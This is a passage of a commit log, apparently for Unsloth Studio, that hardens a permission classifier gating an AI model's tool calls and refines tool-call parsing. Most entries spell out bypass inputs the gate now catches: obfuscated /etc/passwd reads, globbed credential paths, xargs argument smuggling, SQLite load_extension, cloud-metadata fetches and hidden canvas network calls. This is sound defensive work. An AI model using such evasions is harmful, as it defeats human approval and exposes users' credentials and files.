SQLite mutations, more net/xattr/compressed writers Additional fail-closed gaps found by a fresh adversarial pass, each with a reproduction and a benign control: - MCP read-named tools now ask on SQLite-flavored writes the base DML/DDL regex missed: ATTACH / DETACH DATABASE, a write-form PRAGMA (PRAGMA journal_mode=WAL / user_version=42 / foreign_keys(0), while the read-form PRAGMA journal_mode stays safe), and load_extension() which loads and runs an arbitrary shared library. - Python auto mode now gates the remaining asyncio network entry points (start_server, open_unix_connection, loop.create_datagram_endpoint, sock_connect), os.setxattr / os.removexattr metadata writes, the gzip / bz2 / lzma single-stream writers (GzipFile / BZ2File / LZMAFile, mode-gated like ZipFile so a read stays safe), pandas to_xml, and the websockets client. Benign controls (SELECT 1, read-form PRAGMA, asyncio.sleep, gzip read, numpy read, natural-language "attach"/"analyze") stay safe. Regression rows added to test_permission_mode.py. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Close follow-up auto-mode gaps: SQLite/GraphQL variants, more writers and net A fresh adversarial pass on the previous round found consistent extensions of the same fail-closed rules, each reproduced with a benign control: - MCP read-named tools: DROP / ALTER now cover the same broad object set as CREATE (DROP FUNCTION, ALTER INDEX, DROP MATERIALIZED VIEW); ATTACH is caught without the optional DATABASE keyword via its quoted-path form; a schema-qualified write PRAGMA (PRAGMA main.user_version=1) is matched; and a GraphQL mutation carrying directives (mutation M @audit { ... }) is treated as a mutation. - Python auto mode: os.startfile (Windows program launch), asyncio start_unix_server, and the socketserver framework now ask; a gzip/bz2/lzma open imported under an alias (from gzip import open as gopen) is gated like builtin open; and a dynamic path prefix that can form a sensitive absolute root (open(chr(47) + "etc/passwd"), open(os.sep + "etc/passwd")) is treated as sensitive, while a dynamic prefix with a benign suffix stays safe. Benign controls (read-form PRAGMA, natural-language "attach ... as", "drop the idea", SELECT dropped_at, query @cached, gzip read alias, dynamic prefix + data/file suffix) stay safe. Regression rows added to test_permission_mode.py. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Gate GNU time -o, basicConfig/methodcaller/fileinput, and more SQL mutations Another adversarial pass surfaced further consistent fail-closed gaps, each reproduced with a benign control: - Terminal: GNU time -o/--output/-a/--append truncate or append to a file with timing output; time is a wrapper, so the flag is checked before the wrapped command like env -C. - Python auto mode: logging.basicConfig(filename=...) opens a log file for write; operator.methodcaller("write_text"/...) hides a writer method behind a string and is now treated as dynamic dispatch (like getattr/partial); fileinput.input(..., inplace=True) rewrites a file in place (the default read form stays safe). - MCP read-named tools: UPDATE now matches quoted, bracketed, and schema-qualified targets (UPDATE "users" / public.users / ONLY public.users / [users] / `users` SET); SELECT ... INTO OUTFILE/DUMPFILE writes a server file; and state-changing SQL functions inside a SELECT (pg_terminate_backend, setval, pg_write_file, lo_export, ...) ask. Benign controls (time ls / time -p, basicConfig(level=), methodcaller("upper"), fileinput read, NL "update ... set", setval_col column, PL/pgSQL SELECT INTO var) stay safe. Regression rows added to test_permission_mode.py. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Tighten auto-mode classifier comments Collapse the multi-line rationale blocks in the permission classifier to one or two lines each without dropping the exploit each branch closes. Comments and whitespace only (no code change); the classifier tests are unchanged and pass. * Retry transient SSE stalls in the tool-calling smoke probes The tool-calling job flaked with a bare "TimeoutError: timed out": the server-side python/bash probes stream over post_sse(), which (unlike post()) had no transport-level retry, so a single stalled stream on a shared CI runner hard-failed the whole step even though function calling had already passed. post_sse() now mirrors post(): a transport-level stall (stream open or a mid-stream read timing out) is retried once with a fresh request capped at 300s, while HTTP status errors still surface immediately. The Linux _run_tool_probe caps each attempt at 360s and treats a stall that outlives the retry as a failed attempt (rotate to the next seed) instead of raising, and the web_search probe uses the same 360s cap. A genuine server wedge still fails (the retry also times out), so real regressions are not masked. Applied to the Linux, macOS, and Windows inference-smoke workflows, which share the probe. * Close five more auto-mode classifier gaps from review Each reproduces with a benign control: - Path constructor aliased through an attribute (P = pathlib.Path) now folds like the bare-name alias, so (P('/etc') / 'passwd').read_text() asks while a /tmp alias stays safe. - Callable defaults that are not plain names now bind the parameter: an attribute writer (def f(s=np.save)), an archive constructor, a captured .open, and partial(open, mode='w') fold like the equivalent assignment; a benign default (np.mean) does not. - A dynamic piece inside a sensitive name (open('/et' + chr(99) + '/passwd'), which folds to '/et\x00/passwd') now asks: the literals around each dynamic segment are matched against a credential target with the segment as any run of non-separator chars, so an all-dynamic ('1 + 1') or segment-spanning (a + '/' + b) path stays safe. - MCP read-named tools now ask on REFRESH MATERIALIZED VIEW and REINDEX; a 'refresh' column or natural-language 'refresh' stays safe. - A writer/open alias handed to a higher-order invoker (map(open, names, modes), starmap(np.save, ...)) is gated even without a direct call site; a benign map(len, ...) is unaffected. Regression rows added to test_permission_mode.py. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Default tool pills off on model load so tool execution is opt-in resolveToolsEnabledOnLoad turned the web-search and code pills on for any tool-capable model when the user had expressed no preference. Default them off instead, so tool execution is enabled only when the person clicks the pill to turn it on; a saved preference (on or off) is still honoured, so a user who already enabled tools keeps them on. * Gate mark/subscribe MCP verbs and qualified higher-order writer invokers - A read-prefixed MCP tool name carrying mark / subscribe / unsubscribe (get_and_mark_read, get_and_subscribe) now asks; a 'mark' substring inside one token (list_bookmarks) stays safe. - The higher-order writer check now also fires for a qualified invoker (itertools.starmap(open, ...), functools.reduce(open, ...)), matching the bare-name map/filter form; the writer-check on the first arg keeps a benign itertools.starmap(len, ...) or itertools.chain(...) safe. Regression rows added to test_permission_mode.py. * Close more auto-mode gaps and align the ask confirm fold across paths Each classifier change reproduces with a benign control: - MCP read-named tools now ask on reply / notify verbs (get_and_reply_email, list_and_notify_users), on catalog writes COMMENT ON / SECURITY LABEL / LOCK TABLE and CREATE|DROP|ALTER POLICY, and on state-changing PostgreSQL functions inside a read-shaped SELECT (nextval, set_config, pg_notify, the advisory-lock family). A 'comment' column, a 'locks' table, and a 'nextval' column prefix stay safe; the natural-language NOTIFY/SET ROLE statement forms are left out because SET/NOTIFY overlap ordinary prose. - Python auto mode now gates loader.exec_module (runs a module's code), archive extractall (zip-slip file writes), the ensurepip / venv modules (install pip / build an environment), and pydoc.writedoc. The Hugging Face login token (~/.cache/huggingface/token and stored_tokens) is now a sensitive path, while the rest of that cache (model data) stays readable. - ChatCompletionRequest no longer overwrites an explicit confirm_tool_calls=false when permission_mode='ask': the fold only self-enables the gate when the flag is unset, so an explicit opt-out wins on the chat path exactly as it already does via _permission_mode_confirm and the Anthropic pre-switch guard. Regression rows added to test_permission_mode.py. * Gate sort -T, xxd outfile positional, and the legacy HF token path - sort -T / --temporary-directory writes spill files to a caller-chosen dir, so it joins -o / --output in sort's unsafe-flag set. - xxd [infile [outfile]] writes its second positional, like uniq; xxd now uses the same second-positional-write handling (xxd in.bin out.hex asks, xxd in.bin and xxd -c 16 in.bin stay read-only). - The sensitive-path regex now also covers the legacy ~/.huggingface/token location (optional leading dot), not just ~/.cache/huggingface/token; an unrelated dir like myhuggingface/token stays safe. Regression rows added to test_permission_mode.py. * Catch multi-char SQL mutation targets, globbed credential names, digit outfiles Three fail-open gaps in the auto-mode classifier, each with a benign control: - SQL: the trailing word boundary on the MCP mutation regex meant a bare \w stopped at the first character, so TRUNCATE users, GRANT SELECT ON t, and REVOKE ALL ON t (multi-character names) slipped through while single-letter targets matched. Match the whole identifier instead, and accept an explicit AS alias on UPDATE (UPDATE users AS u SET). The implicit-alias form is left out because it is indistinguishable from the prose "update <noun> <noun> set". A truncate_log column and a grants table stay safe. - A glob that resolves to a credential basename anywhere (cat ~/.huggingface/tok?n -> token, cat proj/.netr? -> .netrc, cat repo/.aws/cred*) now asks; the fixed target list only covered a handful of home paths. notes/dra?t.txt and token_counts.tx? stay safe. - uniq / xxd counted file positionals but skipped every numeric token to ignore a flag value, so a file literally named with digits (uniq 123 out) hid the output positional. Track each command's value-taking flags and consume only the value, so uniq -f 2 in stays safe while uniq 123 out asks. Regression rows added to test_permission_mode.py. * Isolate the permission-mode loop tests from process-global state The loop-driving tests (auto/off/full/bypass) drove run_safetensors_tool_loop against a process-global approval registry (state.tool_approvals._pending) keyed by a single shared session id, and read os.environ. Other backend test modules mutate both, some at import time, so in the full-suite ordering a stale pending approval or a leaked env var could make the loop deny or skip a call these tests expect to run. It passed when the file ran alone but failed only in the complete tests/ run on CI. Add an autouse fixture that snapshots and restores os.environ and the approval registry around each test, and give every _drive call a unique session id so a leaked approval can never collide. Attach a compact event-stream dump to the loop assertions so any residual full-suite-only failure reports what the loop actually did instead of a bare diff. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Studio: harden auto-mode classifier for recursive listers, sort file lists, aliased invokers, single-member extract Close four fail-open gaps in is_potentially_unsafe_tool_call: - terminal: tree/du (always recursive) and ls -R rooted at an absolute or tilde path now ask, matching the existing grep/rg/find recursive-read gate; relative walks stay safe. - terminal: sort --files0-from=F reads the file list named in F, so it can read arbitrary host files indirectly; added to sort's unsafe flags. - python: track aliases of the higher-order invokers (m = map; from itertools import starmap as sm) so an aliased invoker handed open/a writer is still gated; a benign callable (map(len, ...)) stays safe. - python: single-member archive extract (ZipFile/TarFile.extract) writes to disk like extractall and is vulnerable to a crafted member path, so gate it. Also update the stale _FakeExecuteTool in test_permission_mode.py to accept the thread_id keyword that run_safetensors_tool_loop now forwards to execute_tool after the main merge, which had broken the five tool-loop tests. Adds regression rows covering each gap plus benign controls. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Studio: normalize unknown permission_mode to 'ask' instead of a 422 The request models validated permission_mode with Literal[ask, auto, off, full], so an unrecognized value from a newer UI/client was rejected with a 422 before the tool loops could apply their unknown -> ask fallback (safetensors_agentic.py:464, llama_cpp.py:9001). That made the intended forward-compat degradation unreachable at the API boundary for both Chat Completions and the analogous Anthropic field. Accept a plain string on both ChatCompletionRequest and AnthropicMessagesRequest and normalize in a before-validator: None stays unset, the four known modes pass through, and any other value degrades to the safest gate ('ask'), matching the loops. Adds a regression test covering unknown/None/known across both models. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Studio: close five more auto-mode classifier gaps - terminal: xargs is no longer a safe wrapper. It appends arguments read from stdin that the scan never sees, so `echo -o out /etc/passwd | xargs sort` forwards to `sort -o out /etc/passwd` (a write + sensitive read) while only the allow-listed literals are visible. Any xargs command now asks. - terminal: ionice -p/-P/-u change the I/O priority of an already running process / group / user instead of forwarding to a wrapped read-only command, so `ionice -c 3 -p <pid>` now asks. ionice -c 3 <cmd> stays safe. - MCP: gate ALTER SYSTEM, which persists PostgreSQL server configuration and was not one of the DDL objects the mutation detector matched. - MCP: a credential noun in a read-named tool (read_secret, list_tokens, get_credentials, fetch_api_key) is a sensitive disclosure, so it asks even without a mutating verb or a path/SQL argument. Scoped *_key nouns keep a primary_key / keyboard lookup safe. - render_html: no longer unconditionally safe. A static canvas still auto-runs, but one whose HTML/JS reaches the network (fetch/WebSocket/remote script) asks, since it can egress under the canvas CSP when artifact network access is on. Its early provisional card is suppressed under the auto confirm gate, and the confirm-without-stream guard now requires a stream when render_html is selectable. Adds regression rows and benign controls for each, and updates the render_html provisional-card and confirm-gate tests to the new behavior. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Studio: extend auto-mode gates for indirect file lists, dynamic lookups, HTML network loads, and Anthropic render_html Follow-ups on the previous classifier round: - terminal: wc/du/find --files0-from (and find's -files0-from primary) read a NUL-separated list of input paths from a file, the same indirect mechanism as sort --files0-from, so a crafted list reads arbitrary host files past the literal path/root checks. Gate them like sort. - python: a namespace lookup through a dict-style call (f = __builtins__.__dict__.get('open'), globals().get('open'), vars(x).get(...)) can return open/eval/a mutator, so poison the bound name like getattr/subscript lookups already are. An ordinary dict .get or os.environ.get stays safe. - render_html: broaden the network detector so a canvas that loads a resource via CSS url()/@import, srcset, or a root-relative (/path) or protocol-relative (//host) src/href is treated as networked, not just fetch/WebSocket/remote script. Relative ./x and url(#id)/data: refs stay static/safe. - Anthropic /v1/messages: drop render_html from the unprompted-safe server-tool set. Since it can prompt (networked canvas) and this channel invokes the loop without confirm, selecting it under ask/auto/omitted now rejects like terminal/python; off/full (or an explicit confirm opt-out) run it. Adds regression rows and benign controls for each, plus an Anthropic route test. * Studio: close six more auto-mode classifier gaps - terminal: a glob that expands to a project .env (cat .e?v) now asks; .env joins the sensitive glob-basename set, matching the literal-path gate. - python: an open bound onto an attribute (box.f = open; box.f('out','w')) is tracked by attribute name, and open invoked via .__call__ (open.__call__('out','w'), unwrapped to the underlying callable) is gated, so neither slips past the name-based open-alias checks. Benign attribute callables and .__call__ on non-writers stay safe. - python: a namespace lookup via .get/.pop/.setdefault already covered the builtins case; unchanged here. - MCP: a mutating HTTP verb in a method/verb argument (get_url {"method": "DELETE"|"POST"|"PUT"|"PATCH"}) now asks, so a generic HTTP tool cannot mutate an external service unprompted; GET/HEAD stay safe. - MCP: a credential/secret environment-variable value (get_env {"name": "OPENAI_API_KEY"}) is treated as a sensitive read via the same credential-noun match used for tool names; PATH/HOME stay safe. - render_html: self-navigation sinks (location.assign/replace, window.open, assigning a URL to (window.)location(.href)) join the network detector, so a canvas that navigates itself to an external URL asks; location.reload() / history.back() stay static. Adds regression rows and benign controls for each. * Studio: gate obfuscated canvas egress, sensitive-dir iteration, and MCP metadata-host reads - render_html: strip block comments before the network scan so fetch/*x*/(...) cannot hide egress, and match bracket-access forms (window['fetch'](...), self['open'](...)). Line // comments are left alone so the // in an https URL is not eaten. A comment-only canvas stays static. - python: enumerating a directory outside the sandbox (Path('/etc').iterdir(), os.scandir('/etc'), os.listdir('/home'), os.walk('/')) reads host filenames the direct /etc/passwd checks would prompt for, so gate it when the target dir folds to an absolute/tilde/sensitive path; a relative dir stays safe and an unresolved dynamic dir is left to other checks. - MCP: a read-named HTTP tool pointed at a cloud-metadata / link-local host (fetch_url {"url": "http://169.254.169.254/..."}, metadata.google.internal) reads instance credentials, so classify those URL arguments as sensitive, mirroring the sandbox SSRF blocklist; ordinary and localhost URLs stay safe. Adds regression rows and benign controls for each. * Studio: gate meta-refresh navigation, pandas HTML/markdown exporters, absolute glob roots, and checksum verify mode * Studio: gate starred open writes, builtins.__import__, computed render_html sinks, and procfs fd reads in auto mode * Studio: gate remote worker canvases, huggingface_hub downloads, and write callables passed to user helpers in auto mode * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci --------- Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com> Co-authored-by: Unsloth <michaelhan@Michaels-MacBook-Pro.local> Co-authored-by: Daniel Han <danielhanchen@gmail.com>	2026-07-15 06:07:21 -07:00
oobabooga	a9db53e189	Studio: stream reasoning tokens in the tool-loop generator (fixes DeepSeek thinking not streaming with a pill on) (#6947)	2026-07-07 19:50:40 -03:00
Daniel Han	9dabe96786	Studio chat: tool-call nudging on by default (API stays opt-in) (#6883) ... * Studio chat: tool-call nudging on by default (API stays opt-in) Healing is already default-on everywhere and the nudge retry from the client-tool passthrough is opt-in on the API. Studio chat had neither signal: the frontend never sent nudge_tool_calls, and the safetensors and MLX server-side loop lacked the GGUF loop's plan-without-action re-prompt entirely. Backend: the re-prompt helpers move from llama_cpp.py into tool_call_parser.py (shared, cycle-free; the GGUF loop imports them under its old names with zero behavior change) and run_safetensors_tool_loop now re-prompts once at the streaming no-tool-call exit, gated on Auto-Heal, active tools, nothing executed yet, and short forward-looking text. Re-prompts do not consume tool iterations. Frontend: the chat adapter sends nudge_tool_calls from a new nudgeToolCalls runtime setting (default true) with the same persistence, hydration, and settings toggle plumbing as Auto-Heal. Request-model defaults are untouched, so raw API callers stay opt-in. * Address review: persist the nudge setting, consume the flag in the loops, skip the re-prompt after RAG autoinject ChatSettingsPayload uses extra forbid, so a settings patch containing nudgeToolCalls failed to persist any settings; the field is now typed and round-trips. nudge_tool_calls now plumbs into both server-side tool loops and gates the plan-without-action re-prompt with None meaning on, so API callers keep today's behavior, explicit false disables it, and Studio's default-on flag actually controls the path Studio chat runs. The safetensors loop no longer re-prompts after RAG autoinject: the injected retrieval bypasses the tool controller, so the nothing-executed gate saw an empty history and re-asked after a successful retrieval. * Safetensors loop: the plan-without-action retry requires an explicit nudge flag The retry is new on this loop, so an omitted nudge_tool_calls must not change existing API behavior; Studio opts in explicitly. The GGUF loop keeps None as on because its re-prompt predates the flag. * Suppress the plan-without-action re-prompt after a denied tool confirmation A denial appends TOOL_REJECTED_MESSAGE but records nothing in the tool controller history, so the nothing-executed gate re-prompted the model to call the tool the user had just rejected, producing another confirmation prompt. A denial now suppresses the re-prompt for the rest of the request, mirroring the RAG autoinject handling. * Tighten plan-without-action re-prompt comments * Tighten plan-without-action re-prompt comments * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Studio: match unified plan-without-action nudge cap to GGUF default of 3 The shared MAX_ACT_REPROMPTS was set to 1, but GGUF's established default (llama_cpp.py) has re-prompted a stalling model up to 3 times since #5620. Restore the GGUF-matched cap so safetensors and MLX inherit the same behavior, and update the safetensors cap test to assert the cap dynamically. --------- Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>	2026-07-06 19:41:19 -07:00
Daniel Han	f109e7f0e6	Studio: parse Mistral [TOOL_CALLS] and rehearsal tool-call shapes (#5704) ... * Studio: parse Mistral [TOOL_CALLS] and rehearsal tool-call shapes Extends the rescue parsers in core/tool_healing.py and core/inference/tool_call_parser.py to recognise two extra serialisations local models commonly emit when bypassing native function calling: * [TOOL_CALLS]name{json_args} (Devstral-Small-2, Mistral-Small-3.x). * name[ARGS]{json_args} (reasoning-model rehearsal). Both extractors use a brace-balance scan that honours escapes and quoted strings so nested JSON args stay intact. Also pre-strips <think>...</think> and [THINK]...[/THINK] blocks before matching so calls emitted after a reasoning preamble are recognised regardless of position. Streaming gates (TOOL_XML_SIGNALS, llama_cpp.py _TOOL_XML_SIGNALS) and the SSE strip regex (routes/inference.py _TOOL_XML_RE) gain the new sentinels so the parser is actually invoked and the raw markup never leaks to the UI. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Strip unclosed think blocks and catch rehearsal [ARGS] mid-buffer The pre-existing ``_THINK_TAG_RE`` only matched closed thinking blocks (``<think>...</think>`` or ``[THINK]...[/THINK]``). During streaming the model is still inside the open block when the parser runs, so any tool-shaped markup the model is REHEARSING inside that block survived the strip and could be executed as a real call. Switch both copies of the regex (parser + healing) to accept the trailing block being terminated by end-of-string in addition to the explicit closer. The ``_TOOL_XML_SIGNALS`` list on the llama_cpp streaming buffer included ``[ARGS]`` to catch rehearsal syntax, but the gate used a ``startswith`` check against the buffer head -- rehearsal is shaped ``name[ARGS]{json}``, so the buffer never STARTS with ``[ARGS]`` and the signal had no effect. Add a substring fallback for the bracket-style signals so the BUFFERING window can still divert the stream into DRAINING when rehearsal markup arrives mid-buffer. Adds three regression tests covering rehearsal inside unclosed ``<think>`` / ``[THINK]`` blocks (must yield no calls) and the positive case after a closed think block (still parsed). * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Studio: harden bracket-tag tool-call parsing and streaming strip Address review findings on the Mistral [TOOL_CALLS] / rehearsal [ARGS] paths: - Accept hyphenated tool names in the bracket parsers and strip patterns. _MISTRAL_BRACKET_RE and _REHEARSAL_RE used \w+, which dropped or truncated MCP function names containing dashes (mcp__srv__list-issues). Use [\w-]+ to match the XML and Gemma parsers. - Strip a partial bracket marker streamed before its opening brace. The trailing-unclosed patterns required the {, so a [TOOL_CALLS]web_search or python[ARGS] split across deltas leaked the raw marker to the UI. Match the bare marker to end-of-text, mirroring how the bare open tags are stripped. Closed pairs are unchanged so in-progress markup stays buffered until parsed. - Strip a truncated bracket tail in the route-level display regex. _TOOL_XML_RE required a balanced JSON object; a tool call truncated by EOS now strips up to \Z, like the orphan-opening XML shapes. Complete calls still strip only their balanced JSON so following prose survives. Add regression tests for hyphenated names, the streaming partial-marker strip, and the unclosed-tail route strip. * Studio: preserve XML parameter indentation in tool_healing The chat template emits <parameter=k>\nVALUE\n</parameter>; the parameter-start regex consumed the wrapping newline AND the value's first-line indentation via a trailing \s*, then str.strip() removed the rest, corrupting code/diff arguments. Narrow the trailing class to horizontal whitespace and trim exactly one wrapping newline (_trim_param_value), preserving indentation. Matches SGLang's qwen3_coder detector and the same fix on the multi-format parser. Add a regression test. * Studio: tighten Mistral/rehearsal tool-call comments Compress the comments in the Mistral [TOOL_CALLS] / rehearsal [ARGS] healing shim and its callers to one or two lines, keeping the bracket-tag stripping rationale, the thinking-block handling note, and the forge attribution intact. Comment-only: no code or behavior change (verified with comment_tools.py check --strip-docstrings; tests green). * Studio: fix think-strip arg corruption and nested bracket-JSON strip Review follow-up for the Mistral/rehearsal healing shim: - The <think>/[THINK] strip ran unconditionally over the whole content before parsing, so a real tool argument that legitimately contained a <think> / [THINK] literal was silently corrupted. Don't delete the blocks: compute the reasoning-block spans and skip any tool-call candidate that STARTS inside one, across all parse paths (JSON, Gemma, XML, bracket, rehearsal). A rehearsed call inside reasoning is still ignored; a real call after </think> still parses. - The bracket-tag display strip used a fixed one-level-nesting regex, so a call with two-level-nested JSON args either leaked raw markup or, in final mode, let the catch-all eat the trailing prose. Add a balanced-brace _strip_bracket_tag_calls pass (any nesting depth) used by strip_tool_call_markup and the route display strip. Add regressions: <think>/[THINK] literal inside a real argument, rehearsal-inside- think with a real call after, and two-level-nested bracket/rehearsal strip keeping trailing prose. * Studio: correct think-block comments to match span-skip behavior The think-strip fix replaced the unconditional think-block strip with a span-skip (the block is kept and any tool-call candidate starting inside it is ignored), but two comments still described the old strip-first behavior. Update the _THINK_TAG_RE comment and the parse_tool_calls_from_text docstring. * Studio: parse Mistral arrays and call-ids, unify bracket parse/strip, keep it linear - Parse the canonical Mistral array form (TOOL_CALLS followed by a JSON list of calls) and emit every call; parse the v11 shape that carries an opaque CALL_ID token between the name and ARGS (the function name is the token after TOOL_CALLS, never the call-id); and parse a Mistral call plus a rehearsal call in one message (the second was dropped yet still stripped from display). - One shared balanced forward scan (_iter_bracket_spans) backs both the parser and the strip path, so they no longer diverge. It is linear: each regex is re-searched only once its cached match falls behind the cursor, replacing the per-match full-tail re-scan that was O(n^2) (O(n^3) over a stream). A length cap before the scan is a backstop. - strip_tool_call_markup preserves think/reasoning blocks verbatim (the parser skips tool markup inside them), stripping only the visible text around them. - _in_think uses bisect over the sorted think spans (was a linear scan per candidate). - GGUF streaming strip runs the balanced bracket pre-pass before the regex patterns so nested-arg calls do not leak or eat trailing prose, and the BUFFERING ARGS detector requires the rehearsal name-ARGS shape. - Tests: canonical array, array string-args, array strip keeps prose, Mistral plus rehearsal multi-call, v11 call-id name, think-rehearsal strip preservation, and bracket-strip linearity. * Studio: preserve reasoning blocks in the route and streaming strip paths too Addresses Gemini/Codex review: making strip_tool_call_markup preserve think blocks left the route display strip and the GGUF streaming strip inconsistent, so a rehearsed call inside a reasoning block was still deleted from the visible text on those paths. - Extract the think-block segmentation into one shared helper (strip_outside_think) and route all three strip paths through it: strip_tool_call_markup, _strip_tool_xml_for_display, and the GGUF _strip_tool_markup_streaming closure. - Add a route-strip regression test that a rehearsal inside a reasoning block is preserved while a real call outside it is still stripped. * Studio: fix bracket-tag strip/buffer review findings Address the live code-review findings on the Mistral bracket-tag / rehearsal tool-call rescue path: - tool_healing: a literal think block inside a tool-call argument is no longer treated as a reasoning block. strip_outside_think now excludes think spans that sit inside a complete tool-call span, so the call is stripped whole instead of the split hiding its open/close pair and leaking the raw call. - tool_healing: the rehearsal trailing-strip pattern requires a following brace or end-of-text, so prose that merely mentions name[ARGS] is not truncated as a phantom call. The bracket strip patterns are aligned with the parser regexes (whitespace, v11 [CALL_ID]/[ARGS] metadata, and the [CALL_ID] lookbehind). - routes: strip a truncated canonical Mistral array ([TOOL_CALLS] [{... with no closing bracket) that the balanced scan cannot remove, align the display regex with the parser regexes, and apply the same rehearsal-prose guard. - safetensors loop: mirror the GGUF [ARGS] rehearsal-substring check during BUFFERING so a rehearsal name does not stream before its [ARGS] arrives. Adds regression tests for each; existing parser suite stays green. * Studio: hold split rehearsal tool-name prefix in both streaming loops A reasoning-model rehearsal call can stream the tool name and its [ARGS] arm in separate chunks (web_search then [ARGS]{...}). The buffering detector only recognised the rehearsal once [ARGS] was present, so the bare tool name was emitted as visible content before the call drained and executed. Add _is_rehearsal_prefix (mirrored in the safetensors loop and the GGUF loop): when a no-signal buffer is a bare active-tool name -- or a partial prefix of NAME[ARGS] -- hold it as a prefix instead of streaming it, so the next chunk's [ARGS] flips it to a drain. A whitespace in the buffer means prose, not a split call, so ordinary text still streams. Adds regression tests for the split rehearsal in both loops and a guard that a plain non-tool word still streams. * Studio: route Anthropic tool-call cleanup through the protected display strip The Anthropic stream, non-stream, and passthrough paths cleaned content with raw _TOOL_XML_RE.sub instead of _strip_tool_xml_for_display, so a rehearsal call inside <think> was deleted from the reasoning and a nested [TOOL_CALLS] call dropped its trailing prose (the OpenAI-compatible paths already use the helper). Route all four sites (prior-assistant cleanup, streaming content events, non-stream aggregation, passthrough conversion) through the protected helper, and add a source-level guard test so raw _TOOL_XML_RE.sub stays confined to the helper itself. * Studio: stop split rehearsal tool names leaking once streaming, uncapped, or unrestricted The split-rehearsal guard (NAME in one chunk, [ARGS]{...} in the next) only held the name in the initial BUFFERING state. Three gaps remained where the bare tool name still streamed as visible content before the call drained: - STREAMING: after prose had already streamed, both loops emitted a trailing active-tool-name token (and the GGUF/safetensors [ARGS] boundary was not pulled back over the name). Hold the trailing rehearsal token and release it on the next chunk, with an end-of-stream flush so a plain answer that merely ends on a tool-name word is never dropped. - Buffer cap: a realistic MCP name longer than the 32-char _MAX_BUFFER_CHARS cap defeated the BUFFERING hold. A rehearsal prefix is self-bounding (it stops matching once it grows past NAME[ARGS]), so the generic cap no longer applies to it. - Unrestricted mode (tools=[]): with no declared tool list, any bare identifier may be a NAME[ARGS] rehearsal, so the prefix check now recognises one instead of leaking the name and mis-parsing the call. Regression tests cover the streaming, long-name, and unrestricted cases plus the plain-prose paths that must not be held or corrupted. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Studio tools: protect think blocks in safetensors streaming, hold split rehearsal on initial flush, advertise Mistral tools Pass-3 review follow-ups on the Mistral [TOOL_CALLS] / rehearsal [ARGS] work: - Safetensors streaming display strip now preserves think / [THINK] reasoning verbatim (routes through strip_outside_think like the GGUF path). A call rehearsed inside a reasoning block was stripped mid-stream and then restored by the final strip, a non-monotonic shrink/grow that corrupted append-by-length stream consumers and the visible reasoning. - The first flush out of BUFFERING (safetensors and GGUF) now applies the same trailing-name hold the STREAMING branch uses, so a split rehearsal (prose plus a trailing active tool name in one chunk, [ARGS]{...} in the next) no longer leaks the bare name before the call drains. - Safetensors capability gate no longer suppresses tools for Mistral [TOOL_CALLS] templates, which the shared bracket-tag parser now handles end to end. Llama python_tag stays suppressed (still unparseable). - Route display strip applies the open-ended / bare-marker tail arms only on the segment after the last reasoning block (closed-only regex before it), matching strip_tool_call_markup, so a bare foo[ARGS] before a reasoning block is preserved while complete calls are still removed in every segment. Adds regression tests for each and updates the now-stale Mistral capability test. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Fix tool-call think-marker and bracket-wrapper edge cases Round-1 review follow-ups on the Mistral/rehearsal tool-call healing: - tool_healing: a reasoning marker that opens INSIDE a tool call's arguments is argument data, not a reasoning block. Add _think_spans_outside_tool_markup (start-inside test) and use it in both parse_tool_calls_from_text and strip_outside_think so a literal marker in one call's args no longer hides a later call (parse) or leaks the raw markup (strip) when the greedy match runs past the call's closer. - tool_healing: strip the orphan Mistral v11 [/TOOL_CALLS] closer left behind after the balanced scan removes the call body. Add a route arm for the same closer in _TOOL_XML_RE / _TOOL_XML_CLOSED_RE. - safetensors + llama_cpp streaming strip: run the open-ended (EOS anchored) tail patterns only on the last segment; segments before a reasoning block use the closed-only patterns, matching the final strip and the route strip. A bare foo[ARGS] before a reasoning block is prose, not a truncated call. - safetensors streaming detector: validate each [ARGS] hit before draining. A bare foo[ARGS] in prose (no active tool name in front) no longer drains the rest of the turn; a later real NAME[ARGS] call is still found and the prose in between is preserved. Regression tests added for each case across the parser, strip helpers, and both streaming loops. * Strip incomplete-XML tool markup with literal think tags; widen render-html detector Round-2 review follow-ups. - tool_healing: an UNCLOSED <tool_call> / <function= call that the parser still executes via allow_incomplete leaked its markup when an argument contained a literal think marker. _tool_call_markup_spans only covered closed calls, so the literal was treated as a reasoning block to preserve. Extend it to the open-ended XML tail forms (shared as _TOOL_OPEN_XML_TAIL_PATS) so a think marker inside an unclosed call is argument data and the call's markup is stripped. A complete call's opener stays bounded to its closed span, and a real reasoning block with no tool call is still preserved. - safetensors render-html provisional card: _detect_render_html_tool_start was XML-only, so a Mistral [TOOL_CALLS]render_html or rehearsal render_html[ARGS] call executed but skipped the early card. Detect the earliest tool-call marker across every serialization the loop executes and fire when it is render_html. Regression tests added for both. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Studio tools: gate [ARGS] on active tools and skip think-block render_html rehearsal Round 3 review fixes for the Mistral / rehearsal tool-call parsing path. Both are asymmetric-fix bugs where one code path applied a guard the analogous paths did not. - [ARGS] active-tool gating: the streaming state already validates a rehearsal NAME[ARGS] against the active tool list before draining, but the BUFFERING detection and the end-of-stream safety-net checks (safetensors and GGUF) treated any 